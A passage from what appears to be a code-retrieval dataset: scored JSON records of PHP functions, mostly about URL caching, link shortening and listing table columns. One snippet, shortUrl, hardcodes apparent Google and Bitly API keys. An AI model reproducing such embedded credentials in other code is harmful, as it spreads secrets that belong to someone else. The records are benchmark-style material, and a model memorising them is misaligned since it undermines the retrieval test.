$e->getMessage());\n\t}\n}", "title": "" }, { "docid": "f48eed22888ab2c335c70c18d98eb86f", "score": "0.49628675", "text": "function sw_cache_rebuild_rel_canonical($info) {\n\t\n\t// Fetch the Permalink\n\t$url = get_permalink();\n\t\n\t// Check to see if the cache is currently being rebuilt\n\tif(isset($_GET['sw_cache']) && $_GET['sw_cache'] == 'rebuild'):\n\t\n\t\t// Use a rel canonical so everyone knows this is not a real page\n\t\t$info['header_output'] .= '<link rel=\"canonical\" href=\"'.$url.'\">';\n\tendif;\n\t\n\t// Return the array so the world doesn't explode\n\treturn $info;\n}", "title": "" }, { "docid": "fc73572faff722962544308857b853f4", "score": "0.4958552", "text": "function cacheImage($url) {\r\n\t\ttry {\r\n\t\t\t$cacheDir = dirname(__FILE__) . '/img/cache/';\r\n if (!file_exists($cacheDir)) {\r\n mkdir($cacheDir, 0777, true);\r\n }\r\n \t$cached_filename = md5($url);\r\n\t\t\t$files = glob($cacheDir . '*.{jpg,jpeg,png,gif}', GLOB_BRACE);\r\n\t\t\t$now = time();\r\n\t\t\tforeach ($files as $file) {\r\n\t\t\t\tif (is_file($file)) {\r\n\t\t\t\t\tif ($now - filemtime($file) >= 60 * 60 * 24 * 5) { // 5 days\r\n\t\t\t\t\t\tunlink($file);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tforeach($files as $file) {\r\n\t\t\t\t$fileName = explode('.',basename($file));\r\n\t\t\t\tif ($fileName[0] == $cached_filename) {\r\n\t\t\t\t $path = getRelativePath(dirname(__FILE__),$file);\r\n\t\t\t\t\t return $path;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$image = file_get_contents($url);\r\n\t\t\tif ($image) {\r\n\t\t\t\t$tempName = $cacheDir . $cached_filename;\r\n\t\t\t\tfile_put_contents($tempName,$image);\r\n\t\t\t\t$imageData = getimagesize($tempName);\r\n\t\t\t\t$extension = image_type_to_extension($imageData[2]);\r\n\t\t\t\tif($extension) {\r\n\t\t\t\t\t$filenameOut = $cacheDir . $cached_filename . $extension;\r\n\t\t\t\t\t$result = file_put_contents($filenameOut, $image);\r\n\t\t\t\t\tif ($result) {\r\n\t\t\t\t\t\trename($tempName,$filenameOut);\r\n\t\t\t\t\t\treturn getRelativePath(dirname(__FILE__),$filenameOut);\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\tunset($tempName);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} catch (\\Exception $e) {\r\n\t\t\twrite_log('Exception: ' . $e->getMessage());\r\n\t\t}\r\n\t\treturn $url;\r\n\t}", "title": "" }, { "docid": "0fc0a7bcb75edadbe60e920c0bae4c4e", "score": "0.49567878", "text": "private function build_cache_key_for_url( $url ) {\n\t\treturn 'g_url_details_response_' . md5( $url );\n\t}", "title": "" }, { "docid": "7056b479a44ea900827d1ba97183a011", "score": "0.49338916", "text": "static function for_url($url) {\n\t\t$obj = DataObject::get_one('SvnInfoCache', \"URL = '\" . Convert::raw2sql($url) . \"'\");\n\t\t\n\t\tif(!$obj) {\n\t\t\t$obj = new SvnInfoCache();\n\t\t\t$obj->URL = $url;\n\t\t\t$obj->write();\n\t\t}\n\t\t\n\t\treturn $obj;\n\t}", "title": "" }, { "docid": "40c73a65324908e70d04ecd0590239e6", "score": "0.49329984", "text": "function safe_scrape_cached($url){\n\n\t\t$cache = cache::factory();\n\n\t\t$cached = $cache->get($url);\n\t\tif (isset($cached) && $cached !== false) {\n\t\t\treturn $cached;\n\t\t}else{\n\t\t\t$page = safe_scrape($url);\n\t\t $cache->set($url, $page, \"safe_scrape\");\t\n\t\t\treturn $page;\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "7c80796594606def9da8eabfedcd70b6", "score": "0.4927365", "text": "public function incrementExpiresAt();", "title": "" }, { "docid": "3f02bcc183dba9f1e406b96c0d19ef09", "score": "0.49202746", "text": "function tck_yourls_edit_link( $return, $keywordid, $url, $keyword, $newkeyword='', $title='', $custom = 0 ) {\n global $ydb;\n\n $table = YOURLS_DB_TABLE_URL;\n $url = yourls_escape (yourls_sanitize_url( $url ) );\n $keyword = yourls_escape( yourls_sanitize_string( $keyword ) );\n $title = yourls_escape( yourls_sanitize_title( $title ) );\n $newkeyword = yourls_escape( yourls_sanitize_string( $newkeyword ) );\n $strip_url = stripslashes( $url );\n $strip_title = stripslashes( $title );\n $old_url = $ydb->get_var( \"SELECT `url`, `\" . TCK_COLUMN . \"` As custom FROM `$table` WHERE `keyword` = '$keyword';\" );\n\n // Check if new URL is not here already\n if ( $old_url != $url && !yourls_allow_duplicate_longurls() ) {\n $new_url_already_there = intval($ydb->get_var(\"SELECT COUNT(keyword) FROM `$table` WHERE `url` = '$url';\"));\n } else {\n $new_url_already_there = false;\n }\n\n // Check if the new keyword is not here already\n if ( $newkeyword != $keyword ) {\n $keyword_is_ok = yourls_keyword_is_free( $newkeyword );\n } else {\n $keyword_is_ok = true;\n }\n\n // Check if we're changing the custom flag.\n $new_custom = false;\n if ( $custom != $old_url->custom ) {\n $new_custom = true;\n }\n \n yourls_do_action( 'pre_edit_link', $url, $keyword, $newkeyword, $new_url_already_there, $keyword_is_ok );\n\n // All clear, update\n if ( ( !$new_url_already_there || yourls_allow_duplicate_longurls() || $new_custom ) && $keyword_is_ok ) {\n $sql = \"UPDATE `$table` SET `url` = '$url', `keyword` = '$newkeyword', `title` = '$title', `\" . TCK_COLUMN . \"` = \" . $custom . \" WHERE `keyword` = '$keyword';\";\n $update_url = $ydb->query($sql);\n \n if( $update_url ) {\n $return['url'] = array( 'keyword' => $newkeyword, 'shorturl' => YOURLS_SITE.'/'.$newkeyword, 'url' => $strip_url, 'display_url' => yourls_trim_long_string( $strip_url ), 'title' => $strip_title, 'display_title' => yourls_trim_long_string( $strip_title ), 'custom' => ($custom == 1 ? 'Yes' : 'No') );\n $return['status'] = 'success';\n $return['message'] = yourls__( 'Link updated in database' );\n } else {\n $return['status'] = 'fail';\n $return['message'] = /* //translators: \"Error updating http://someurl/ (Shorturl: http://sho.rt/blah)\" */ yourls_s( 'Error updating %s (Short URL: %s) - SQL: %s', yourls_trim_long_string( $strip_url ), $keyword, $sql ) ;\n }\n\n // Nope\n } else {\n $return['status'] = 'fail';\n $return['message'] = yourls__( 'URL or keyword already exists in database' );\n }\n\n return yourls_apply_filter( 'edit_link', $return, $url, $keyword, $newkeyword, $title, $new_url_already_there, $keyword_is_ok );\n }", "title": "" }, { "docid": "fe60a9db70702c57f3e988beff1261a6", "score": "0.49058974", "text": "function mgd_cache_invalidate()\n{\n}", "title": "" }, { "docid": "c96f9566d10dc274bb9fcf218b300a9e", "score": "0.49004656", "text": "function refreshCache($source_file, $cache_file, $quality) {\n\tif (file_exists($cache_file)) {\n // Not modified\n if (filemtime($cache_file) >= filemtime($source_file)) {\n return $cache_file;\n }\n\n // Modified, clear it\n unlink($cache_file);\n }\n return generateImage($source_file, $cache_file, $quality);\n}", "title": "" }, { "docid": "ecbd4da3aa8cdcaaca335a01f9f6200d", "score": "0.48995346", "text": "function cleanCache($aContent) {\n\t\t$url = $this->url($aContent);\n\t\tparent::clean( str_replace(url_to_('/', true), Liber::conf('APP_ROOT'), rawurldecode($url)) );\n\t\tLiber::loadClass('FeedCache', 'APP', true)->cleanCache();\n\t}", "title": "" }, { "docid": "15e18fdb3438104371c2dd77d114503e", "score": "0.4896511", "text": "public function updateStatusWithUrl( $content, $url, $alwaysAdd=TRUE, $hashtag='' )\n\t{\n\t\tif ( is_string( $hashtag ) && ! empty( $hashtag ) )\n\t\t{\n\t\t\tif ( substr( $hashtag, 0, 1 ) != '#' )\n\t\t\t{\n\t\t\t\t$hashtag = '#' . $hashtag;\n\t\t\t}\n\t\t\t\n\t\t\t$hashtag = ' ' . $hashtag;\n\t\t}\n\t\telse if ( ! is_string( $hashtag ) )\n\t\t{\n\t\t\t$hashtag = '';\n\t\t}\n\t\t\n\t\t/* Ensure content is correctly de-html-ized */\n\t\t$content = IPSText::UNhtmlspecialchars( $content );\n\t\t\n\t\t/* Is the text longer than 140 chars? */\n\t\tif ( $alwaysAdd === TRUE or IPSText::mbstrlen( $content ) > 140 )\n\t\t{\n\t\t\t/* Leave 26 chars for URL shortener */\n\t\t\t$less = 26 + strlen( $hashtag );\n\t\t\t\n\t\t\tif ( IPSText::mbstrlen( $content ) > ( 140 - $less ) )\n\t\t\t{\n\t\t\t\t$content = IPSText::mbsubstr( $content, 0, ( 140 - ( $less + 3 ) ) ) . '...' . $hashtag;\n\t\t\t}\n\t\t\t\n\t\t\tif ( IPSText::mbstrlen( $url ) > 26 )\n\t\t\t{\n\t\t\t\t/* Generate short URL */\n\t\t\t\t$classToLoad = IPSLib::loadLibrary( IPS_ROOT_PATH . 'sources/classes/url/shorten.php', 'urlShorten' );\n\t\t\t\t$shorten = new $classToLoad();\n\t \t\t\t\n\t \t\t\ttry\n\t \t\t\t{\n\t \t\t\t\t$data = $shorten->shorten( $url, IPS_URL_SHORTEN_SERVICE );\n\t \t\t\t\t$url = $data['url'];\n\t \t\t\t}\n\t \t\t\tcatch( Exception $ex )\n\t \t\t\t{\n\t \t\t\t\t/* Stop the exception bubbling back to parent classes */\n\t \t\t\t}\n\t \t\t}\n \t\t\t\n \t\t\treturn $this->updateStatus( $content . ' ' . $url );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* Just post it */\n\t\t\treturn $this->updateStatus( $content );\n\t\t}\n\t}", "title": "" }, { "docid": "9a6bc441660fd9560cb5284a3a63ae27", "score": "0.48913586", "text": "function shortUrl($url, $service='google', $action='short') {\n\n if($action=='short') {\n\n if($service=='google') {\n\n $urlapi = \"https://www.googleapis.com/urlshortener/v1/url\";\n $postData = array('longUrl'=>$url, 'key'=>'AIzaSyAcJa1PtXCCRXVUEYiv4iu4MnT4vBM2r-o');\n\n } else {\n\n $postData = array('login'=>'lslucas', 'longUrl'=>$url, 'apiKey'=>'R_9413f87bc6b34d74c50254d31a8a55c8', 'format'=>'json');\n $querystring = http_build_query($postData);\n $postData = null;\n\n $urlapi = \"http://api.bitly.com/v3/shorten?\".$querystring;\n\n }\n\n\n\n\n $post = !is_null($postData) ? json_encode($postData) : null;\n $json = curl_post($urlapi, $post, array('Content-Type: application/json'));\n\n if($service=='google') return $json->id;\n else {\n if($json->status_code!=500) return $json->data->url;\n }\n\n\n }\n\n}", "title": "" }, { "docid": "05f51f8efcb49d785947d4ba2109ebcb", "score": "0.48898837", "text": "public function shortenUrl($url)\n {\n return $this->shortener->shorten($url);\n }", "title": "" }, { "docid": "0c85e496faf0c19bbfb94d76b6dc1562", "score": "0.48847252", "text": "function addFeedData($feedID,$url,$status=true,$update=0);", "title": "" }, { "docid": "5ac379b26b12aea197c4c9455344594b", "score": "0.48809403", "text": "function wp_cache_add($key, $data, $group = '', $expire = 0)\n {\n }", "title": "" }, { "docid": "5fb750e667f123745bd96c0146657a8c", "score": "0.48800164", "text": "function wp_cache_replace($key, $value, $group = '', $expiration = 0)\n{\n global $wp_object_cache;\n\n return $wp_object_cache->replace($key, $value, $group, $expiration);\n}", "title": "" }, { "docid": "109b131e4079b0dcceeaad13f42bd8e3", "score": "0.48765707", "text": "private function refreshCache()\n {\n\n\t\t// any valid date in the past\n\t\theader(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");\n\t\t// always modified right now\n\t\theader(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\n\t\t// HTTP/1.1\n\t\theader(\"Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0\");\n\t\t// HTTP/1.0\n\t\theader(\"Pragma: no-cache\");\n\t}", "title": "" }, { "docid": "dce19ed99e933b965ffbe08740232ecb", "score": "0.4871661", "text": "function cache();", "title": "" }, { "docid": "d5bea112b83d434d4c4713ae7ed7827c", "score": "0.48647156", "text": "function apc_cache_shunt_update_clicks($false, $keyword) {\n\t\n\t// initalize the timer. \n\tif(!apc_exists(APC_CACHE_CLICK_TIMER)) {\n\t\tapc_add(APC_CACHE_CLICK_TIMER, time());\n\t}\n\t\n\tif(defined('APC_CACHE_STATS_SHUNT')) {\n\t\tif(APC_CACHE_STATS_SHUNT == \"drop\") {\n\t\t\treturn true;\n\t\t} else if(APC_CACHE_STATS_SHUNT == \"none\"){\n\t\t\treturn false;\n\t\t}\n\t} \n\t\n\t$keyword = yourls_sanitize_string( $keyword );\n\t$key = APC_CACHE_CLICK_KEY_PREFIX . $keyword;\n\t\n\t// Store in cache\n\t$added = false; \n\t$clicks = 1;\n\tif(!apc_exists($key)) {\n\t\t$added = apc_add($key, $clicks);\n\t}\n\tif(!$added) {\n\t\t$clicks = apc_cache_key_increment($key);\n\t}\n \n\t/* we need to keep a record of which keywords we have\n\t * data cached for. We do this in an associative array\n\t * stored at APC_CACHE_CLICK_INDEX, with keyword as the keyword\n\t */\n\t$idxkey = APC_CACHE_CLICK_INDEX;\n\tapc_cache_lock_click_index();\n\tif(apc_exists($idxkey)) {\n\t\t$clickindex = apc_fetch($idxkey);\n\t} else {\n\t\t$clickindex = array();\n\t}\n\t$clickindex[$keyword] = 1;\n\tapc_store ( $idxkey, $clickindex);\n\tapc_cache_unlock_click_index();\n\t\n\tif(apc_cache_write_needed('click', $clicks)) {\n\t\tapc_cache_write_clicks();\n\t}\n\t\n\treturn true;\n}", "title": "" }, { "docid": "b178cef5cfb9ea9f870532d761fca79b", "score": "0.48635438", "text": "public function loadFromCache() {\n parent::loadFromCache();\n $this->historyLinks = $this->data;\n }", "title": "" }, { "docid": "6b0c6796fd7e035f4497680da2fdfd23", "score": "0.4861704", "text": "function wp_clean_update_cache()\n {\n }", "title": "" }, { "docid": "7319c16dc8d6edae6a1a9f3b0a224f80", "score": "0.48568225", "text": "function getFullCacheUrl($url, $params) {\n\n //Sorting query params by key (acts by reference)\n ksort($params);\n\n //Transforming the query array to query string\n $queryString = http_build_query($params);\n\n $fullUrl = \"{$url}?{$queryString}\";\n\n return $fullUrl;\n\n}", "title": "" }, { "docid": "d7ff8eb1e04436e046ee5a168aabdb49", "score": "0.48565626", "text": "public static function setWebsiteURL($paramURL){\n getDatabase()->update(\"settings\",array(\n \"value\" => $paramURL\n ), \"setting = 'website_url'\");\n Cache::store('website_url', $paramURL);\n }", "title": "" }, { "docid": "45b7319b9d9c17651d176df01072960a", "score": "0.4851896", "text": "public function setCache($duration = 60, $key = \"workable-feed\")\n {\n $this->cacheKey = $key;\n $this->caching = $duration;\n\n if ($duration < 1) {\n $this->clearCache();\n }\n }", "title": "" }, { "docid": "554f8a2dc8ab73fbb19464eff291874c", "score": "0.48502994", "text": "public function url($url = null, $full = false) {\n\t\tif (Configure::read('UrlCache.runtime.afterLayout')) {\n\t\t\treturn parent::url($url, $full);\n\t\t}\n\n\t\tif (Configure::read('UrlCache.active')) {\n\t\t\tif ($cachedUrl = UrlCacheManager::get($url, $full)) {\n\t\t\t\treturn $cachedUrl;\n\t\t\t}\n\t\t}\n\t\t$routerUrl = parent::url($url, $full);\n\t\tif (Configure::read('UrlCache.active')) {\n\t\t\tUrlCacheManager::set($routerUrl);\n\t\t}\n\t\treturn $routerUrl;\n\t}", "title": "" }, { "docid": "684fbd3fa97855497516a673be5a9697", "score": "0.48484027", "text": "protected function addURLInfo($pURL)\n {\n $this->mNumURLs++;\n if ( count($this->mCurrentSitemap) >= self::MAX_URLS_PER_SITEMAP)\n {\n $this->writeSitemap();\n $this->mCurrentSitemap = array();\n }\n $this->mCurrentSitemap[] = $pURL;\n }", "title": "" }, { "docid": "470bf0d3dc4776c551ae7d1a8ed8ec25", "score": "0.48425674", "text": "private function addUrlToHistory(string $url): void\n {\n $this->session->pushItemToSessionItemArray(\"url-history\", $url, 5);\n }", "title": "" }, { "docid": "43655f1b0680038345e5f9388011f52c", "score": "0.48425284", "text": "function wp_cache_flush()\n {\n }", "title": "" }, { "docid": "497ec60b6fc3fd77f71550149543a78a", "score": "0.48422122", "text": "function url_shorten($url, $length = 35)\n {\n }", "title": "" }, { "docid": "2773e1f10d698e070b1b1d0476a8e15d", "score": "0.48365402", "text": "function update_cache( $v=array() )\n\t{\n\t\t//-----------------------------------------\n\t\t// Don't cache forums?\n\t\t//-----------------------------------------\n\t\t\n\t\tif ( $v['name'] == 'forum_cache' AND isset($this->vars['no_cache_forums']) AND $this->vars['no_cache_forums'] )\n\t\t{ \n\t\t\treturn;\n\t\t}\n\t\t\n\t\t$v['donow'] = isset($v['donow']) ? $v['donow'] : 0;\n\t\t\n\t\t//-----------------------------------------\n\t\t// Next...\n\t\t//-----------------------------------------\n\t\t\n\t\tif ( $v['name'] )\n\t\t{\n\t\t\tif ( ! isset($v['value']) OR !$v['value'] )\n\t\t\t{\n\t\t\t\tif ( isset($v['array']) AND $v['array'] )\n\t\t\t\t{\n\t\t\t\t\t$value = serialize($this->cache[ $v['name'] ]);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$value = $this->cache[ $v['name'] ];\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif ( isset($v['array']) AND $v['array'] )\n\t\t\t\t{\t\t\t\t\n\t\t\t\t\t$value = serialize($v['value']);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$value = $v['value'];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$this->DB->no_escape_fields['cs_key'] = 1;\n\t\t\t\n\t\t\tif ( $v['deletefirst'] == 1 )\n\t\t\t{\n\t\t\t\tif ( $v['donow'] )\n\t\t\t\t{\n\t\t\t\t\t$this->DB->do_replace_into( 'cache_store', array( 'cs_array' => intval($v['array']), 'cs_key' => $v['name'], 'cs_value' => $value ), array( 'cs_key' ) );\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->DB->do_shutdown_replace_into( 'cache_store', array( 'cs_array' => intval($v['array']), 'cs_key' => $v['name'], 'cs_value' => $value ), array( 'cs_key' ) );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif ( $v['donow'] )\n\t\t\t\t{\n\t\t\t\t\t$this->DB->do_update( 'cache_store', array( 'cs_array' => intval($v['array']), 'cs_value' => $value ), \"cs_key='{$v['name']}'\" );\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->DB->do_shutdown_update( 'cache_store', array( 'cs_array' => intval($v['array']), 'cs_value' => $value ), \"cs_key='{$v['name']}'\" );\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif( is_object($this->cachelib) )\n\t\t\t{\n\t\t\t\tif( !$value )\n\t\t\t\t{\n\t\t\t\t\t$value = \"EMPTY\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->cachelib->do_remove( $v['name'] );\n\t\t\t\t$this->cachelib->do_put( $v['name'], $value );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "75158ea12d709b2c1af24e87c622502f", "score": "0.48323226", "text": "function create($url) {\n\n if ( !($aUrl = $this->matchUrl($url)) ) { return ; }\n\n\t\t$oFeed \t\t= Liber::loadClass('Feed', true);\n\t\t$oContent \t= Liber::loadModel('Content', true);\n\t\t$oCache \t= Liber::loadClass('ContentCache', 'APP', true);\n\t\t$oConfig\t= Liber::loadModel('Config', true);\n\t\t$contents \t= $oContent->lastContentsFeed();\n\t\t$items \t\t= Array();\n\t\tforeach($contents as $content) {\n\t\t\t$items[] = Array(\n\t\t\t\t\t'title' \t=> $content['title'],\n\t\t\t\t\t'description' \t=> strip_tags($content['body']).'[...]',\n\t\t\t\t\t'datetime' \t=> $content['datetime'],\n\t\t\t\t\t'url'\t\t=> $oCache->url($content),\n\t\t\t\t\t'uid'\t\t=> $content['content_id'].$content['datetime']\n\t\t\t);\n\t\t}\n\n\t\t$oFeed->load( Array(\n\t\t\t\t\t\t'title' \t=> $oConfig->data('site_name'),\n\t\t\t\t\t\t'items'\t\t=> $items,\n\t\t\t\t\t\t'feed_url'\t=> $this->url('rss2')\n\t\t\t\t\t) );\n\n\t\t$funky_cache = $oFeed->rss2();\n\t\tif ( $this->put( str_replace(url_to_('/',true), Liber::conf('APP_ROOT'), $this->url('rss2')) , $funky_cache) ) {\n\t\t\treturn $funky_cache;\n\t\t}\n\n }", "title": "" }, { "docid": "4e90471cd9a536d3752852758a0e75e9", "score": "0.4821955", "text": "public function refreshManifestCache()\n\t{\n\n\t}", "title": "" }, { "docid": "b931a85f63fd633ebabb31311ddb9fc2", "score": "0.4821542", "text": "protected function writeCache($url, $result)\n {\n $filename = $this->getCacheFilename($url);\n $cache_dir = dirname($filename);\n if (!@mkdir($cache_dir) && !is_dir($cache_dir)) {\n // TODO log error or throw exception\n return;\n }\n file_put_contents($filename, $result);\n }", "title": "" }, { "docid": "a125b71b96eaf35eda7268904f34ca5e", "score": "0.481739", "text": "private function set_cache( $key, $data = '' ) {\n\t\t$ttl = HOUR_IN_SECONDS;\n\n\t\t/**\n\t\t * Filters the cache expiration.\n\t\t *\n\t\t * Can be used to adjust the time until expiration in seconds for the cache\n\t\t * of the data retrieved for the given URL.\n\t\t *\n\t\t * @since 5.9.0\n\t\t *\n\t\t * @param int $ttl The time until cache expiration in seconds.\n\t\t */\n\t\t$cache_expiration = apply_filters( 'rest_url_details_cache_expiration', $ttl );\n\n\t\treturn set_site_transient( $key, $data, $cache_expiration );\n\t}", "title": "" }, { "docid": "f2b12ddfe231fb43c7c54ed8c9c62c8d", "score": "0.48159534", "text": "private function addUrl(string $url): int\r\n {\r\n // TODO: Find links with similar attributes and compare them\r\n // $parsed_url = parse_url($url);\r\n // for now though, let's just strip any excess slashes\r\n $url = chop($url, \"/\");\r\n $url_md5 = md5($url);\r\n\r\n $stmt = $this->pdo->prepare(\"SELECT * FROM urls WHERE md5=?\");\r\n $stmt->execute([$url_md5]);\r\n if ($stmt->rowCount()) {\r\n $url_id = $stmt->fetch()->url_id;\r\n // Update the links_to_url count for this url\r\n $stmt = $this->pdo->prepare(\"UPDATE urls SET links_to_url = links_to_url + 1 WHERE md5=?\");\r\n $stmt->execute([$url_md5]);\r\n return $url_id;\r\n } else {\r\n $stmt = $this->pdo->prepare(\"INSERT INTO urls (url_base64, url_plain, md5) VALUES(?, ?, ?)\");\r\n $stmt->execute([base64_encode($url), $url, $url_md5]);\r\n return $this->pdo->lastInsertId();\r\n }\r\n }", "title": "" }, { "docid": "24d9d8c995bb9be1d126f01ba0801498", "score": "0.4814388", "text": "public function setReentryURL( $aURL )\n\t{ $this->myReentryURL = $aURL ; return $this ; }", "title": "" }, { "docid": "9cf4e817c9a2b0f872cfca5b13b4cd5b", "score": "0.48084074", "text": "function cachefile($url = false) {\n\t\tif(!$url) {\n\t\t\t$url = uniqid();\n\t\t}\n\t\t\n\t\t$request_hash = sha1($url);\n\t\t\n\t\t$tmp_path = sys_get_temp_dir();\n\t\t\n\t\t$cache_name = 'wmjapi-' . $this->token_hash . '-' \n\t\t\t. sha1($url) . '.json';\n\t\t\n\t\tif(substr($tmp_path, -1) !== '/') {\n\t\t\t$tmp_path = $tmp_path . '/';\n\t\t}\n\t\t\n\t\t$cache_file = $tmp_path . $cache_name;\n\t\t\n\t\treturn $cache_file;\n\t}", "title": "" } ]
b464139cf0e0ca7abd084ccec65d9536
Return array of columns and column definitions.
[ { "docid": "ade67ce8f756cc6f226a8a1b52e30166", "score": "0.68729615", "text": "protected function columns(): array\n {\n return [\n 'id',\n 'name',\n ];\n }", "title": "" } ]
[ { "docid": "1d16f8eab3481716a621d9f07f12685c", "score": "0.79234594", "text": "public function columns() {\n\t\treturn array();\n\t}", "title": "" }, { "docid": "cc0c6bc5cad5302292decab96193f256", "score": "0.76840883", "text": "protected function columnDefinitions() {\n\t\t$fields = $this->getFields();\n\t\tforeach ($fields as $name => $f) {\n\t\t\t$fields[$name] = '`'. $name . '` ' . $f->columnDefinition();\n\t\t}\n\t\treturn $fields;\n\t}", "title": "" }, { "docid": "be4a3b0788d7e4365a320c48e9e7b5dd", "score": "0.766527", "text": "private function columns(): array\n {\n return Cache::putOrGet('pepper:'.$this->name().':__columns', function () {\n $model = $this->model();\n $table = $model->getTable();\n\n $columns = $model->getConnection()\n ->getSchemaBuilder()\n ->getColumnListing($table);\n\n return $columns;\n });\n }", "title": "" }, { "docid": "6f2b92203948553d5be89678adda386c", "score": "0.764291", "text": "public function getColumns(): array;", "title": "" }, { "docid": "6f2b92203948553d5be89678adda386c", "score": "0.764291", "text": "public function getColumns(): array;", "title": "" }, { "docid": "856badd0bb94fa9b47937a332069f260", "score": "0.75572234", "text": "function get_columns() {\n\t\t$columns = array(\n\t\t\t'title'\t\t=> 'Title',\n\t\t\t'swatches'\t=> 'Swatches',\n\t\t\t'author'\t=> 'Author',\n\t\t\t'url'\t\t=> 'Link',\n\t\t);\n\t\t\n\t\treturn $columns;\n\t}", "title": "" }, { "docid": "c97a81b9ae1de10d0160cd11ecf09903", "score": "0.75362605", "text": "public function getColumns()\n\t{\n\t\treturn array(\n\t\t\t'date_modified',\n\t\t\t'date_created',\n\t\t\t'active_status',\n\t\t\t'system_id',\n\t\t\t'section_id',\n\t\t\t'name',\n\t\t\t'description',\n\t\t\t'section_parent_id',\n\t\t\t'sequence_no',\n\t\t\t'level',\n\t\t\t'read_only_option',\n\t\t\t'can_have_queues'\n\t\t);\n\t}", "title": "" }, { "docid": "21e71f964b2e0f7b676c3932a5e191c4", "score": "0.75122136", "text": "protected function getColumns(): array\n {\n if (is_null(self::$_columns)) {\n self::$_columns = parent::addColumns();\n }\n return self::$_columns;\n }", "title": "" }, { "docid": "21e71f964b2e0f7b676c3932a5e191c4", "score": "0.75122136", "text": "protected function getColumns(): array\n {\n if (is_null(self::$_columns)) {\n self::$_columns = parent::addColumns();\n }\n return self::$_columns;\n }", "title": "" }, { "docid": "21e71f964b2e0f7b676c3932a5e191c4", "score": "0.75122136", "text": "protected function getColumns(): array\n {\n if (is_null(self::$_columns)) {\n self::$_columns = parent::addColumns();\n }\n return self::$_columns;\n }", "title": "" }, { "docid": "b39b7c5ead39daba25b17d3b9f3ea596", "score": "0.7489489", "text": "public function getFieldColumns()\n {\n return [];\n }", "title": "" }, { "docid": "1af58de333c3c7a2cbb746e9c1aed095", "score": "0.74803925", "text": "public function getColumns(): array\n {\n return $this->columns;\n }", "title": "" }, { "docid": "29efb7ebe20285f57f73bbe2a5f1d29d", "score": "0.7462906", "text": "public function get_columns() {\n\t\treturn [\n\t\t\t'id' \t\t=> '%d',\n\t\t\t'user_id' \t=> '%d',\n\t\t\t'height' \t=> '%d',\n\t\t\t'chest' \t\t=> '%d',\n\t\t\t'waist' \t\t=> '%d',\n\t\t\t'hips' \t\t\t=> '%d',\n\t\t\t'seam' \t\t\t=> '%d',\n\t\t\t'dress_id' \t\t=> '%d',\n\t\t\t'dress_size' \t=> '%s',\n\t\t\t'title' \t\t=> '%s',\n\t\t\t'date'\t\t\t=> '%s'\n\t\t];\n\t}", "title": "" }, { "docid": "c1b005e629b7b01366589519fa895bb0", "score": "0.74463576", "text": "static function get_columns(): array {\r\n return [\r\n 'title' => 'Title',\r\n self::qcol('year') => 'Year',\r\n self::qcol('link') => 'Link',\r\n self::qcol('n_issues') => '# of issues'\r\n ];\r\n }", "title": "" }, { "docid": "1e57b358e5825bba97faf59d066e6f4d", "score": "0.74087", "text": "public function getColumns()\n\t{\n\t\tstatic $columns = array(\n\t\t\t'rule_condition_id',\n\t\t\t'type',\n\t\t\t'flag',\n\t\t\t'action',\n\t\t\t'source',\n\t\t\t'value'\n\t\t);\n\t\treturn $columns;\n\t}", "title": "" }, { "docid": "5eb126a1a4f49625392de3474e7c7256", "score": "0.7348506", "text": "public function get_columns()\n {\n $columns = array(\n //'cb' => '<input type=\"checkbox\" />',\n 'id' => 'ID',\n 'title' => 'Title',\n 'description' => 'Description',\n 'year' => 'Year',\n 'director' => 'Director',\n 'rating' => 'Rating',\n );\n\n return $columns;\n }", "title": "" }, { "docid": "9d9405219042de97b4ff3fbfd1ae8630", "score": "0.7337074", "text": "protected function columns(): array\n {\n return [];\n }", "title": "" }, { "docid": "530069d1b0e79043f97fa49e15272b22", "score": "0.730391", "text": "static function get_columns() {\n return array('ID','subject','content','author_id','department_id','priority_id','priority_level','op_id','collab_ids','ticket_meta','status','is_public','date_created', 'date_closed', 'date_open','attachment_ids', 'last_update');\n }", "title": "" }, { "docid": "4f92192b8c4d418e651838b7e5647108", "score": "0.7295145", "text": "public function getColumns();", "title": "" }, { "docid": "4f92192b8c4d418e651838b7e5647108", "score": "0.7295145", "text": "public function getColumns();", "title": "" }, { "docid": "4f8e9790a58d0e5b0b2831514485c866", "score": "0.727511", "text": "function _getCols() {\n\t\t$totCol = $this->data->getFieldCount();\n\t\t$fieldInfos = $this->data->getFieldsInfo();\n\t\t$colInfos = array();\n\t\tforeach( $fieldInfos as $fname => $finfo ) {\n\t\t\t$colInfos[] = array( \t'hLabel' => $fname,\n\t\t\t\t\t\t'hClass' => \"\",\n\t\t\t\t\t\t'fieldClass' => \"\",\n\t\t\t\t\t\t'data' => $fname,\n\t\t\t\t\t\t'toDisplay' => true,\n\t\t\t\t\t\t'sortable' => false );\n\t\t}\n\t\treturn $colInfos;\n\t}", "title": "" }, { "docid": "71bcf8544736809345600535a5946840", "score": "0.72683734", "text": "public function get_columns() {\n return array(\n 'view_tracking_id' => '%d',\n 'request_reference' => '%s',\n 'created_at' => '%s',\n 'updated_at' => '%s',\n 'item_id' => '%d',\n 'view_type' => '%s',\n 'referrer' => '%s',\n 'session_id' => '%s',\n 'client_id' => '%s',\n 'user_agent' => 